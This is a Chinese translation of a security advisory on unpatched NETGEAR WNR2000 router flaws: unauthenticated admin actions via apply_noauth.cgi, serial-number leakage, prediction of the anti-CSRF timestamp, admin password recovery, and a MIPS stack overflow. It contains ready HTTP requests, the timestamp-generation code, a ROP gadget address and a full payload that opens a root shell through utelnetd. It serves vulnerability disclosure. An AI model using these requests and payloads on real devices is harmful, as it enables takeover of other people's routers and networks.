NETGEAR WNR2000路由器栈溢出漏洞分析

翻译: shan2666

原文:https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt

摘要:

NETGEAR WNR2000路由器允许管理员在Web界面中执行许多敏感的功能,这些都是通过名为apply.cgi的CGI脚本完成的。通过调用这个脚本,可以更改Internet设置、WLAN设置,恢复出厂默认值,重新启动路由器等。

然而,实际上apply.cgi并不是一个真正的脚本,而是一个函数——在URL中接收到特定字符串时,就会利用HTTP服务器(uhttpd)调用该函数。当逆向uhttpd时,发现通过调用apply_noauth.cgi,竟然允许未认证的用户执行相同的敏感管理功能。

对于某些功能来说,如重新启动路由器,可以被未经验证的攻击者直接拿来利用。而其他功能(例如更改Internet、WLAN设置或检索管理密码)则要求攻击者通过URL发送“timestamp”变量。这个时间戳是在每次访问目标页面时生成的,并且被用于anti-CSRF令牌。

通过逆向时间戳生成函数发现,并且由于它的随机数生成(下面的细节)方式不当,导致攻击者在没有其他知识的情况下,就可以在尝试1000次之内识别出令牌。

通过将令牌与信息泄露相结合,就可以恢复管理员密码。然后,可以利用该密码启用路由器的telnet功能,并且如果攻击者位于LAN中的话,则可以获取root shell。

最后,还发现了一个栈溢出漏洞,如果将它与apply_noauth.cgi漏洞和时间戳识别攻击相结合的话,就会允许未经验证的攻击者完全控制该设备,从而可以在LAN和WAN中远程执行代码。

需要注意的是,由于WNR2000v5的最新固件在默认情况下没有启用远程管理功能,所以,除非管理员启用了该功能,否则这些攻击只能在局域网中进行。虽然我们只针对WNR2000v5设备进行了相关测试,但是此路由器的版本3和4也应该具有同样的安全漏洞,我们已经通过静态分析对此进行了确认。在最初发现该漏洞使,在Shodan中搜索出了超过10.000个启用了远程管理启用的、具有这种漏洞的路由器。

漏洞利用代码已经与本文同时发布,具体请访问参考文献[1]。这个漏洞利用代码当前处于alpha阶段,我们还将继续对其进行改进,并在下周移植到Metasploit上面。

技术细节:

#_1

漏洞:信息泄露

NO CVE ASSIGNED

攻击矢量:远程攻击

约束条件:可以被未经身份验证的攻击者所利用。其他约束请参见下文。

受影响的版本:

– WNR2000v5,所有固件版本(硬件确认)

– WNR2000v4,所有可能受影响的固件版本(仅通过静态分析确认)

– WNR2000v3,所有可能受影响的固件版本(仅通过静态分析确认)

发送http:// <device_web_portal> /BRS_netgear_success.html请求时,该设备会泄漏其序列号:

HTTP/1.0 200 OK

Server: uhttpd/1.0.0

Date: Thu, 01 Jan 1970 00:11:42 GMT

Cache-Control: no-cache

Pragma: no-cache

Expires: 0

Content-Type: text/html; charset=”UTF-8″

Connection: close

<html>

<head>

</head>

<body>

<script>

/* 22281: add sn after success href */

var sn=”4D01615V0009D”;                      <— serial number of the device

(…)

这个信息泄漏问题可以进一步用于#2安全漏洞。

#_2

漏洞:访问控制不当

NO CVE ASSIGNED

攻击矢量:远程攻击

约束条件:可以被未经身份验证的攻击者所利用。其他约束请参见下文。

受影响的版本:

– WNR2000v5,所有固件版本(硬件确认)

– WNR2000v4,所有可能受影响的固件版本(仅通过静态分析确认)

– WNR2000v3,所有可能受影响的固件版本(仅通过静态分析确认)

———————–

漏洞分析

———————–

WNR2000路由器允许管理员通过调用该设备Web服务器上的apply.cgi URL来执行敏感操作。这个特殊URL是由嵌入式Web服务器(uhttpd)来进行相应的处理的。

当我们对uhttpd进行逆向时,发现另一个函数,即apply_noauth.cgi竟然也允许未经身份验证的用户在设备上执行各种敏感操作。例如,可以发送以下请求来重新启动路由器:

====

POST /apply_noauth.cgi?/reboot_waiting.htm HTTP/1.1

Host: 192.168.1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 26

submit_flag=reboot&yes=Yes

====

若要恢复出厂默认设置的话,可以使用如下所示的请求:

====

POST /apply_noauth.cgi?/pls_wait_factory_reboot.html HTTP/1.1

Host: 192.168.1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 19

submit_flag=factory

====

若要修改WLAN设置的话,可以使用以下请求:

====

POST /apply_noauth.cgi?/WLG_wireless.htm HTTP/1.1

Host: 192.168.1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 754

submit_flag=wlan&Apply=Apply&hidden_wlan_mode=&hidden_wlan_channel=&generate_flag=&old_length=&wl_sec_wpaphrase_len=17&wl_hidden_wpa_psk=somewifipassword&hidden_sec_type=&wep_press_flag=&wpa1_press_flag=0&wpa2_press_flag=1&wpas_press_flag=0&wps_change_flag=5&hidden_enable_guestNet=&hidden_enable_ssidbro=&hidden_allow_guest=&radiusServerIP=&opmode_bg=&wl_mode=&wl_ssid=1337Net&wl_WRegion=4&wl_hidden_wlan_channel=0&wl_hidden_wlan_mode=2&wl_hidden_sec_type=4&hidden_WpaeRadiusSecret=&hidden_WpaeRadiusSecret_a=&wl_enable_ssid_broadcast=1&hidden_enable_video=&wl_tx_ctrl=&wl_apply_flag=1&ssid_bc=1&ssid=NETGEAR09&wla1ssid=NETGEAR-5G_Guest1&wlg1ssid=NETGEAR-Guest&WRegion=4&w_channel=0&opmode=2&opmode54=1&security_type=WPA2-PSK&passphrase=somewifipassword

====

若要更改管理员帐户的密码恢复设置,可以使用下列请求:

====

POST /apply_noauth.cgi?/PWD_password.htm%20timestamp=26123148 HTTP/1.1

Host: 192.168.1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 188

submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2

====

这些只是部分例子,实际上还有很多的功能都可以通过apply_noauth.cgi访问。然而,除了上面这三个例子外,大多数操作都需要知道一个“时间戳”变量,它通常会附加到URL(具体见第四个例子)上。需要注意的是,找到这个时间戳可不是件简单的事情,具体方法我们会在下文中详细解释。

———————–

生成时间戳

———————–

用户每次访问页面时都会生成相应的时间戳变量。例如,要更改WLAN设置,用户必须访问WLG_wireless.htm页面。该时间戳变量将在访问该页面时生成,并存储在设备配置中。

每次访问该页面时,都会生成一个新的时间戳并嵌入到页面中。即使设备重新启动后,用户并没有访问该页面,它仍会在配置中预设时间戳变量。至于出现这种情况的具体原因,我们并没有进行相应的研究,但这个时间戳很可能是在引导过程中生成并保存下来的。

请注意,随着具体的访问情况的变化,每个页面或函数可能会生成新的时间戳,并将其存储在设备配置中。还需要注意的是,未经身份验证的用户无法访问任何页面,因此无法生成时间戳或检索其值。

负责生成此时间戳的函数位于0x4101E8(WNR2000v5的固件版本为1.0.0.34)处,它的符号名称为get_timestamp。

以下C代码展示了时间戳的生成过程:

  long t0, t1, t2, t3, t4, hi;

  int i;

  float final;

  // seed srand with NULL is the same as seeding it with the current UNIX system time

  srand(0);

  

  t0 = rand();

  t1 = 0x17dc65df;

  hi = (int)((t0 * t1) >> 32);

  t2 = t0 >> 31;

  t3 = hi >> 23;

  t3 = t3 – t2;

  t4 = t3 * 0x55d4a80;

  t0 = t0 – t4;

  t0 = t0 + 0x989680; 

    

  final = (float) t0;

  printf(“%9.f\n”, final);

  

最终转换为浮点类型这一步是至关重要的,因为这将迫使该数字使用IEEE 754规则进行舍入处理,从而导致最终值会变得稍大或稍小一些。实际上,这些转换是在反汇编代码中发生的,而上面的C代码可以生成100%精度的时间戳。

将此代码移植到Ruby(为了发布攻击代码,请参见[1])是一个挑战。首先,ruby中srand和rand的行为是完全不同的,所以实际的libc函数必须进行逐行移植。第二,Ruby默认使用双精度浮点整数,因此必须使用pack和unpack才能强制执行单精度浮点行为。

———————–

实现可靠的漏洞利用代码

———————–

对于未经认证的攻击者来说,他们面临的问题是:要想实施上述任何攻击,必须首先猜出当前时间戳变量的值。由于这个变量的取值范围有限,所以可以按照当前小时、当前日、当前月、当前年的的顺序尝试所有可能值。

实际上,在猜测时间戳变量值的时候,有一个最佳的解决办法。

未经认证的攻击者在不知道时间戳的情况下可以执行的几个操作之一是重新启动设备。如果设备重新启动,攻击者就能知道了用于srand函数求种子值和生成时间戳的UNIX时间,这个时间戳的值是将得到的UNIX时间减去5分钟左右(路由器重新启动和攻击者重新连接到路由器所需的大约时间)。因此,为了轻松猜到时间戳,只需:

a)发送重新启动请求

b)等待设备重新启动并再次连接(通过WLAN或以太网)

c)向设备发送HTTP GET请求,并从Date HTTP头部获取其当前时间

d)借助上述算法,然后从Date头部解析出来的值减去300(60秒乘以5分钟)得到一个UNIX时间戳,然后从这个时间戳开始利用srand函数计算所有可能的种子值

e)尝试通过使用正确的参数和d)的每个输出调用apply_noauth.cgi脚本来执行预期的功能(恢复出厂设置,更改WLAN等),直到命中正确的时间戳并执行相应功能为止

使用这种技术,寻找时间戳所需的蛮力猜测次数大大减少,使未经验证的攻击者能够及时找出这个值(实际尝试次数通常介于在300和5000次之间,但通常都会小于1000次)。

对于WAN利用方式(启用远程管理时)来说,重新启动不是一个好办法(因为设备在启动后很可能会分配一个新的IP地址); 对于这种情况,攻击设备的最佳方式是从当前时间向后开始,并不停发送请求,直到命中正确的值为止。

———————–

获取管理员密码

———————–

如上所述,通过使用时间戳猜测攻击,未经验证的攻击者可以重置密码恢复问题。然后,可以通过执行以下操作,借助上述信息来恢复管理员密码:

a1)向unauth.cgi发送一个带有序列号的POST请求

POST /apply_noauth.cgi?/unauth.cgi HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 65

submit_flag=match_sn&serial_num=<serial>&continue=+Continue+

b1) 发送POST请求到securityquestions.cgi,并提供安全问题的答案

POST /apply_noauth.cgi?/securityquestions.cgi HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 93

submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+

c1)最后,向passwordrecovered.cgi发送一个GET请求,来显示管理员的用户名和密码:

(…)

<TR><TD colSpan=2>You have successfully recovered the admin password.</TD></TR>

<TR><TD colSpan=2>&nbsp;</TD></TR>

<TR >

        <TD nowrap colSpan=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Router Admin Username: admin</TD>

</TR>

<TR>

        <TD nowrap colSpan=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Router Admin Password: password</TD>

(…)

———————–

以root身份执行代码

———————–

NETGEAR路由器提供了一个方便的功能,允许用户通过telnet使用特殊的魔术包启用root控制台。这个魔法数据包是通过首先计算设备的MAC、管理员用户名和密码的MD5哈希值,然后利用Blowfish算法对这个哈希值进行加密得到的,其中使用的密钥为“AMBIT_TELNET_ENABLE +”加上管理员密码。有关详细信息,请参见参考文献[2]。

考虑到可以检索管理员用户名和密码(如上所述),那么要想执行代码的话,只要使用参考文献[3]中的脚本来发送魔术包,然后连接到端口23就可以直接登陆root shell了,根本不需要其他验证。

所有上述攻击情形,都是假设管理员密码已更改。如果设置了默认密码,那就更简单了,直接使用参考文献[3]中的telnetenable脚本就可以以root用户身份执行了。

#3

漏洞:栈溢出漏洞

NO CVE ASSIGNED

攻击矢量:远程攻击

约束条件:可以被未经身份验证的攻击者所利用。其他约束请参见下文。

受影响的版本:

– WNR2000v5,所有固件版本(硬件确认)

– WNR2000v4,所有可能受影响的固件版本(仅通过静态分析确认)

– WNR2000v3,所有可能受影响的固件版本(仅通过静态分析确认)

———————–

漏洞细节

———————–

这些设备中的HTTP服务器(uhttpd)会以特殊方式处理对* .cgi文件的访问。它们不是从文件系统中获取CGI文件,而是根据URL在内部处理它们。此机制已在漏洞#2和摘要部分中给出了描述。

apply * .cgi URL的关键参数是submit_flag,它决定了在处理请求时将调用哪个uhttpd函数。

如果发送以下请求:

POST /apply.cgi?/lang_check.html%20timestamp=14948715 HTTP/1.1

Authorization: Basic YWRtaW46cGFzc3dvcmQ=

Content-Type: application/x-www-form-urlencoded

Content-Length: 604

submit_flag=select_language&hidden_lang_avi=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAABBBBCCCCDDDDEEEEFFFFbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

这时就会发生栈溢出,如果使用gdb调试该进程,那么将会看到:

Program received signal SIGSEGV, Segmentation fault.

0x45454545 in ?? ()

(gdb) i r

          zero       at       v0       v1       a0       a1       a2       a3

R0   00000000 00000001 00000000 00000054 00000000 7fae7ee1 ffffff87 000009c0

            t0       t1       t2       t3       t4       t5       t6       t7

R8   2ab96420 00000000 00000001 fffffff8 fffffffe 00000001 00000000 00000000

            s0       s1       s2       s3       s4       s5       s6       s7

R16  41414141 42424242 43434343 44444444 00000002 00000025 0000002b 00000002

            t8       t9       k0       k1       gp       sp       s8       ra

R24  00000002 2ab5a170 2ab825f8 00000000 0048f4a0 7fae7f18 004b51b8 45454545

        status       lo       hi badvaddr    cause       pc

      0000ff13 000f41db 000003dd 45454544 10800008 45454545

          fcsr      fir  restart

      00000000 00000000 00000000

(gdb) x/32xw $sp

0x7fae7f18: 0x46464646 0x62626262 0x62626262 0x62626262

(…)

下列寄存器将被攻击者控制:

$ra/$pc = index 52 of hidden_lang_avi parameter (EEEE)

$s0 = index 36 (AAAA)

$s1 = index 40 (BBBB)

$s2 = index 44 (CCCC)

$s3 = index 48 (DDDD)

$sp = index 56 (FFFF)

这里将通过WNR2000v5路由器的1.0.0.34版本固件分析该漏洞漏洞。

参数hidden_lang_avi是通过调用地址为0x446428处的函数来进行处理的。这个函数将提取该参数,然后处理它,具体过程如下面的代码所示:

(…)

LOAD:00446510                 la      $t9, strcpy

LOAD:00446514                 addiu   $s1, $sp, 0x48+hidden_lang_avi_var

LOAD:00446518                 move    $a1, hidden_lang_avi_str # hidden_lang_avi_str = $s0, obtained from the cgi value

LOAD:0044651C                 jalr    $t9 ; strcpy     # first overflow occurs here

LOAD:0044651C                                          # – copies hidden_lang_avi cgi param to hidden_lang_avi_var

LOAD:00446520                 move    $a0, $s1

LOAD:00446524                 b       loc_4464C4

(snippet of function starting at 0x446428)

可以看到,这里发生了溢出,但是进一步调查会发现,实际发生崩溃的地方并不是在这里。

通过跟踪分支指令,我们来到下列代码处:

LOAD:004464C4 loc_4464C4:                          

LOAD:004464C4                 la      $t9, config_set

LOAD:004464C8                 lui     $a0, 0x47  # ‘G’

LOAD:004464CC                 move    $a1, $s1            # $s1 points 我们来看看上述代码片段中的堆栈变量  “hidden_lang_avi_var”

LOAD:004464D0                 jalr    $t9 ; config_set

LOAD:004464D4                 la      $a0, aNew_language  # “New_Language”

LOAD:004464D8                 jal     check_language_file

LOAD:004464DC                 move    $a0, $s1

(snippet of function starting at 0x446428)

然后,将hidden_lang_avi_var字符串作为第一个参数传递给check_language_file。这个函数将进行一些后续处理,然后,将其传递给另一个函数region_search,同样也是作为第一个参数:

LOAD:004463DC loc_4463DC:      

LOAD:004463DC                 la      $t9, region_search

LOAD:004463E0                 jalr    $t9 ; region_search

LOAD:004463E4                 move    $a0, $s0    # $s0 contains the hidden_lang_avi_var passed on from 0x446428

(snippet of function check_language_file)

这最终把我们引导至发生溢出的函数那里,即region_search函数:

LOAD:004130B0 region_search:              

LOAD:004130B0

LOAD:004130B0                 lui     $gp, 0x49  # ‘I’

LOAD:004130B4                 addiu   $sp, -0x50

LOAD:004130B8                 la      $gp, unk_48F4A0

LOAD:004130BC                 sw      $ra, 0x50+var_4($sp)

LOAD:004130C0                 sw      $s3, 0x50+var_8($sp)

LOAD:004130C4                 sw      $s2, 0x50+var_C($sp)

LOAD:004130C8                 sw      $s1, 0x50+var_10($sp)

LOAD:004130CC                 sw      $s0, 0x50+var_14($sp)

LOAD:004130D0                 sw      $gp, 0x50+var_40($sp)

LOAD:004130D4                 beqz    $a0, loc_4131F0

LOAD:004130D8                 la      $t9, strcpy

LOAD:004130DC                 addiu   $s2, $sp, 0x50+var_38   # stack variable which will be overflown

LOAD:004130E0                 move    $a1, $a0                # $a0, AKA hidden_lang_avi_var from 0x446428

LOAD:004130E4                 lui     $s3, 0x48  # ‘H’

LOAD:004130E8                 jalr    $t9 ; strcpy            # second overflow occurs here

LOAD:004130EC                 move    $a0, $s2

(snippet of region_search)

从上面可以看出,位于0x38偏移量处的堆栈变量发生了溢出,并且它位于如上gdb所示发生崩溃的那个函数中。我们控制的第一个寄存器$ s0使用偏移量0x14来保存其值,保存这个值的0x24(36)字节的内存单元正好位于被覆盖的那个堆栈变量中。

请注意,此漏洞可能被已通过身份验证的攻击者(通过apply.cgi URL)或知道时间戳参数的未经身份验证的攻击者(通过apply_noauth.cgi参数,并使用#1中描述的技术来了解时间戳)所利用。

———————–

漏洞利用

———————–

NETGEAR WNR2000是一个MIPS设备,它不支持ASLR或NX,因此,可以通过在堆栈上执行shellcode来利用这个漏洞。

MIPS内核具有单独的指令和数据高速缓存,所以读取指令的同时还可以执行加载或存储[4]操作。通常在编写MIPS漏洞利用代码时,在执行已注入的shellcode之前,必须首先清除缓存(具体情况,可以阅读参考文献[4]中的另一个例子)。目前来说,至少有六种方法可以实现这一点:

i) 使用纯ROP / return-to-libc

当仅使用ROP / ret-to-libc时,堆栈将仅用于存储数据(下一条指令所在的位置)。用于执行代码的指令就是该程序的一部分,并且不对其进行任何修改。因此,当使用纯ROP或return-to-libc时,不需要刷新高速缓存。

ii)调用libc的sleep()函数

iii)调用libc的cacheflush()函数

iv)调用MIPS刷新高速缓存的系统调用(以Linux为例)

  li      $v0, 0x1033     ; load $v0 with the syscall number

  syscall 0

v)直接利用指令刷新缓存(仅适用于内核模式,参见参考文献[6],第2页;另请参见参考文献[4](第12-24页))

vi)将shellcode放在kseg1内存段(仅适用于内核模式)

该段的内存范围为0xa0000000到0xc0000000。更多细节见参考文献[6]。

为了降低漏洞利用的复杂性,我们将采取方法i),所以,这里既无需刷新缓存,也无需写shellcode。我们可以调用system()函数来启动telnetd,然后使用wget等函数来下载和执行文件。

WNR2000v5的所有固件版本似乎都使用libuClibc-0.9.30.1.so,这使得搜索gadget变得更容易。在该设备中,uClibc被加载到固定的地址处,即0x2AB24000处,这使得编写适用于所有固件版本的漏洞利用代码变得非常容易。幸运的是,我们只需要一个gadget就能完成攻击。

这个ROP gadget会把$ sp加载到$ a0(其中将存放system()命令)中,并调用$ s0(其中将存放system()的地址):

LOAD:0002462C                 addiu   $a0, $sp, 0x40+arg_0

LOAD:00024630                 move    $t9, $s0

LOAD:00024634                 jalr    $t9

堆栈需要按如下方式设置:

payload =

  ‘a’ * 36      +                                                             # filler (trash the stack until we hit $s0)

  system()      +                                                             # $s0

  ‘1111’        +                                                             # $s1

  ‘2222’        +                                                             # $s2

  ‘3333’        +                                                             # $s3

  gadget        +                                                             # gadget

  ‘b’ * 0x40    +                                                             # filler (discard these bytes because of gadget)

  “killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh”  # payload

  

这个payload的最终值为:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%2a%b7%87%d0111122223333%2a%b4%86%2cbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbkillall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh

然后,在hidden_lang_avi参数中发送该payload,这将导致telnetd服务器在端口23上启动,并且以root身份运行,重要的是无需进行身份验证。只要连接到端口23,就能获得一个root shell。

该payload的唯一约束是它不能包含与符号(&)、百分比号(%)以及空字符。uhttpd服务器将在执行此攻击后关闭,但每隔几分钟它就会由watchdog重新启动。

漏洞修复情况

到目前为止,NETGEAR还没有回应任何电子邮件,所以这些漏洞仍旧未得到相应的修复。

建议使用支持OpenWRT固件的其他品牌和型号的设备替换相应的路由器。WNR2000 v3和v4具有可用的OpenWRT固件,但这些固件尚不支持最新的v5版本。

参考文献:

[1] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/netgearPwn.rb

[2] https://wiki.openwrt.org/toh/netgear/telnet.console

[3] https://github.com/insanid/netgear-telenetenable

[4] http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf

[5] https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt

[6] http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Memory_Map.pdf

发表评论

电子邮件地址不会被公开。 必填项已用*标注